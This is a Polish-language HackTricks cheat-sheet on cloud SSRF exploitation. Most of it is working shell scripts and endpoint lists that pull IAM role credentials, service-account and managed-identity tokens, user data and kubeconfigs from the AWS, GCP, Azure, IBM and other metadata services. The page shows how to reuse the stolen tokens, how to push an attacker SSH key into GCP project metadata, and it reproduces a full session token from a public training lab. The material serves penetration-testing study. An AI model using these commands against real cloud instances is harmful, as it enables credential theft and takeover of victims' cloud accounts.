Cloud SSRF
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
AWS
Wykorzystywanie SSRF w środowisku AWS EC2
Punkt końcowy metadanych jest dostępny z wnętrza każdej maszyny EC2 i udostępnia interesujące informacje o niej. Jest dostępny pod adresem: http://169.254.169.254 (information about the metadata here).
Istnieją 2 wersje endpointu metadanych. Pierwsza pozwala uzyskać dostęp do endpointu przez żądania GET (więc każdy SSRF może to wykorzystać). Dla wersji 2, IMDSv2, musisz poprosić o token wysyłając żądanie PUT z nagłówkiem HTTP, a następnie użyć tego tokena aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest to trudniejsze do wykorzystania za pomocą SSRF).
Caution
Zwróć uwagę, że jeśli instancja EC2 wymusza IMDSv2, according to the docs, to odpowiedź na żądanie PUT będzie miała hop limit of 1, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
Ponadto, IMDSv2 będzie także blokować żądania pobrania tokena, które zawierają nagłówek
X-Forwarded-For. Ma to na celu zapobieganie możliwości dostępu przez błędnie skonfigurowane reverse proxies.
Możesz znaleźć informacje o metadata endpoints in the docs. W poniższym skrypcie uzyskiwane są z niego niektóre interesujące informacje:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Jako przykład ujawnionych, publicznie dostępnych IAM credentials możesz odwiedzić: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Możesz też sprawdzić publiczne EC2 security credentials pod adresem: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Następnie możesz wziąć te poświadczenia i użyć ich z AWS CLI. To pozwoli ci zrobić wszystko, do czego ta rola ma uprawnienia.
Aby skorzystać z nowych poświadczeń, musisz utworzyć nowy profil AWS taki jak poniższy:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Zwróć uwagę na aws_session_token, jest on niezbędny do działania profilu.
PACU można użyć z odnalezionymi credentials, aby sprawdzić swoje uprawnienia i spróbować je eskalować
SSRF w AWS ECS (Container Service) credentials
ECS, to logiczna grupa instancji EC2, na których możesz uruchamiać aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrem, ponieważ ECS zajmuje się tym za ciebie. Jeśli uda ci się przejąć usługę działającą w ECS, punkty końcowe metadanych zmieniają się.
Jeśli uzyskasz dostęp do http://169.254.170.2/v2/credentials/<GUID> znajdziesz credentials maszyny ECS. Ale najpierw musisz odnaleźć <GUID>. Aby znaleźć <GUID> musisz odczytać zmienną environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI wewnątrz maszyny.
Możesz być w stanie odczytać ją wykorzystując Path Traversal do file:///proc/self/environ
Wspomniany adres http powinien zwrócić AccessKey, SecretKey i token.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
Zwróć uwagę, że w niektórych przypadkach będziesz mógł uzyskać dostęp do EC2 metadata instance z kontenera (sprawdź wspomniane wcześniej ograniczenia IMDSv2 TTL). W takich scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
SSRF for AWS Lambda
W tym przypadku credentials are stored in env variables. Dlatego, aby uzyskać do nich dostęp, musisz odczytać coś w stylu file:///proc/self/environ.
Nazwy interesujących env variables to:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCES_KEY_ID
Ponadto, oprócz IAM credentials, funkcje Lambda mają również dane zdarzenia przekazywane do funkcji podczas jej uruchomienia. Te dane są udostępniane funkcji poprzez runtime interface i mogą zawierać sensitive information (np. wewnątrz stageVariables). W przeciwieństwie do IAM credentials, te dane są dostępne przez standardowy SSRF pod adresem http://localhost:9001/2018-06-01/runtime/invocation/next.
Warning
Zwróć uwagę, że lambda credentials znajdują się w env variables. Jeśli stack trace kodu lambda wypisuje env vars, możliwe jest je exfiltrate them provoking an error w aplikacji.
SSRF URL for AWS Elastic Beanstalk
Pobieramy accountId i region z API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Następnie pobieramy AccessKeyId, SecretAccessKey i Token z API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Następnie używamy poświadczeń z aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.
GCP
Możesz find here the docs about metadata endpoints.
SSRF URL dla Google Cloud
Wymaga nagłówka HTTP Metadata-Flavor: Google i możesz uzyskać dostęp do metadata endpoint przy użyciu następujących URLi:
Przydatne endpointy do pozyskania informacji:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta NIE wymaga nagłówka obecnie (dzięki Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
Aby użyć wyeksfiltrowanego tokena konta usługi możesz po prostu zrobić:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
Dodaj klucz SSH
Wyodrębnij token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Sprawdź zakres tokena (na podstawie poprzedniego wyniku lub uruchamiając poniższe)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Teraz wypchnij klucz SSH.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
Endpoint metadanych działa tak samo jak w maszynach wirtualnych (VMs), ale bez niektórych endpointów:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
Warning
Nie ma czegoś takiego jak AWS Roles ani GCP service account, więc nie oczekuj znalezienia poświadczeń bota w metadata
Dokumentacja dostępna pod https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Musi zawierać nagłówek
Metadata: true - Nie może zawierać nagłówka
X-Forwarded-For
Tip
Azure VM może mieć przypisane 1 system assigned managed identity oraz kilka user assigned managed identities. To w zasadzie oznacza, że możesz podszyć się pod wszystkie managed identities przypisane do VM.
Przy żądaniu access token do metadata endpoint, domyślnie metadata service użyje system assigned managed identity do wygenerowania tokena, jeśli taki istnieje. Jeśli jest tylko JEDNA user assigned managed identity, to ona będzie użyta domyślnie. Jednak jeśli nie ma system assigned managed identity i jest wiele user assigned managed identities, metadata service zwróci błąd wskazując, że jest wiele managed identities i trzeba określić, której użyć.
Niestety nie udało mi się znaleźć żadnego metadata endpoint wskazującego wszystkie MI przypisane do VM, więc odkrycie wszystkich przypisanych managed identities do VM może być trudnym zadaniem z perspektywy Red Team.
Dlatego, aby znaleźć wszystkie przypisane MI możesz:
- Pobierz attached identities za pomocą az cli (jeśli już przejęłeś principal w tenantcie Azure z uprawnieniem
Microsoft.Compute/virtualMachines/read)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- Pobierz attached identities używając domyślnego przypisanego MI w metadata:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- Pobierz wszystkie zdefiniowane managed identities w tenantcie i przeprowadź brute force, aby sprawdzić, czy któraś z nich jest przypisana do VM (wymagane uprawnienie
Microsoft.ManagedIdentity/userAssignedIdentities/read):az identity list
Caution
W żądaniach tokena użyj jednego z parametrów
object_id,client_idlubmsi_res_id, aby wskazać managed identity, której chcesz użyć (docs). Jeśli żaden z nich nie zostanie podany, użyty zostanie domyślny MI.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
Zwróć uwagę, że endpoint
http://169.254.169.254/metadata/v1/instanceinfonie wymaga nagłówkaMetadata: True, co ułatwia pokazanie wpływu w podatnościach SSRF w Azure, gdzie nie możesz dodać tego nagłówka.
Azure App & Functions Services & Automation Accounts
Z poziomu env możesz uzyskać wartości IDENTITY_HEADER i IDENTITY_ENDPOINT. Możesz ich użyć, aby pobrać token do komunikacji z serwerem metadata.
W większości przypadków chcesz tokenu dla jednego z tych zasobów:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
Caution
W żądaniach tokena użyj dowolnego z parametrów
object_id,client_idlubmsi_res_id, aby wskazać managed identity, której chcesz użyć (docs). Jeśli nie podasz żadnego, zostanie użyte domyślne MI.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
Zwróć uwagę, że w IBM domyślnie metadata nie jest włączone, więc możliwe, że nie będziesz w stanie uzyskać do niej dostępu, nawet jeśli znajdujesz się wewnątrz IBM Cloud VM
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, z zaznaczeniem metod, dzięki którym można uzyskać dostęp do informacji konfiguracyjnych i uruchomieniowych dla instancji. Każda platforma oferuje unikalne endpointy do dostępu do swoich usług metadanych.
Packetcloud
Aby uzyskać dostęp do metadanych Packetcloud, dokumentacja znajduje się pod adresem: https://metadata.packet.net/userdata
OpenStack/RackSpace
Nie wspomniano o konieczności użycia nagłówka. Metadane można uzyskać pod adresem:
http://169.254.169.254/openstack
HP Helion
Tutaj również nie wspomniano o konieczności nagłówka. Metadane są dostępne pod adresem:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud udostępnia szereg endpointów do uzyskiwania dostępu do różnych aspektów metadanych:
http://192.0.0.192/latest/http://192.0.0.192/latest/user-data/http://192.0.0.192/latest/meta-data/http://192.0.0.192/latest/attributes/
Alibaba
Alibaba udostępnia endpointy do uzyskiwania metadanych, w tym ID instancji i obrazu:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD może zawierać klucze API, wewnętrzne adresy IP i porty. Dostęp demonstruje się za pomocą:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Do metadanych Docker można uzyskać dostęp lokalnie; poniżej przykłady pobierania informacji o kontenerach i obrazach:
- Prosty przykład uzyskania dostępu do metadanych kontenerów i obrazów przez socket Dockera:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- Wewnątrz kontenera użyj curl z socketem Dockera:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Do metadanych Rancher można uzyskać dostęp używając:
curl http://rancher-metadata/<version>/<path>
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


